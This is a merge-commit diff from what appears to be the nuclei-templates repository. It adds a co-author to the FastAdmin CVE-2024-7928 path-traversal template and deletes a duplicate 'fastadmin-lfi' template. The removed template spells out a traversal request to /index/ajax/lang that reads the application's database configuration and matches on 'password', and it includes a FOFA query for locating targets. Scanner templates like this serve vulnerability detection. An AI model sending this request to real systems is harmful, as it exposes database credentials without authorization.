Merge pull request #11135 from projectdiscovery/duplicate-fastadmin-lfi

Merging Duplicate - CVE-2024-7928 & fastadmin-lfi

http/cves/2024/CVE-2024-7928.yaml

@@ -2,7 +2,7 @@ id: CVE-2024-7928
 
 info:
   name: FastAdmin < V1.3.4.20220530 - Path Traversal
-  author: s4e-io
+  author: s4e-io,Hel10-Web
   severity: medium
   description: |
     A vulnerability, which was classified as problematic, has been found in FastAdmin up to 1.3.3.20220121. Affected by this issue is some unknown functionality of the file /index/ajax/lang. The manipulation of the argument lang leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.3.4.20220530 is able to address this issue. It is recommended to upgrade the affected component.
@@ -48,4 +48,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502206a03af2bd622586d9ea3423ce05fb8c99fe1ec1940335aca969aece8642d4cf9022100e4fa51cfa54ae2d026551a9ff270d3e4c5e52c4645e364558c90b77f36d71458:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206a03af2bd622586d9ea3423ce05fb8c99fe1ec1940335aca969aece8642d4cf9022100e4fa51cfa54ae2d026551a9ff270d3e4c5e52c4645e364558c90b77f36d71458:922c64590222798bb761d5b6d8e72950

http/vulnerabilities/other/fastadmin-lfi.yaml

@@ -1,39 +0,0 @@
-id: fastadmin-lfi
-
-info:
-  name: Fastadmin framework - Arbitrary File Read
-  author: Hel10-Web
-  severity: high
-  description: |
-    Arbitrary file reading vulnerability exists in Fastadmin framework.
-  reference:
-    - https://github.com/wy876/POC/blob/main/Fastadmin%E6%A1%86%E6%9E%B6%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
-  classification:
-    cpe: cpe:2.3:a:fastadmin:fastadmin:*:*:*:*:*:*:*:*
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: fastadmin
-    product: fastadmin
-    fofa-query: app="FASTADMIN-框架"
-  tags: fastadmin,lfi
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/index/ajax/lang?lang=..//..//application/database"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'jsonpReturn'
-          - 'database'
-          - 'password'
-        condition: and
-
-      - type: status
-        status:
-          - 200
-# digest: 4b0a00483046022100acf527038ff9e2f3bb27626fdc6796d646536911cbad0dd02d9f5d1dfe2c92870221009f36768a1a149ecb4e73eac69e63737e79ba7954e52476743190652bb5031f7c:922c64590222798bb761d5b6d8e72950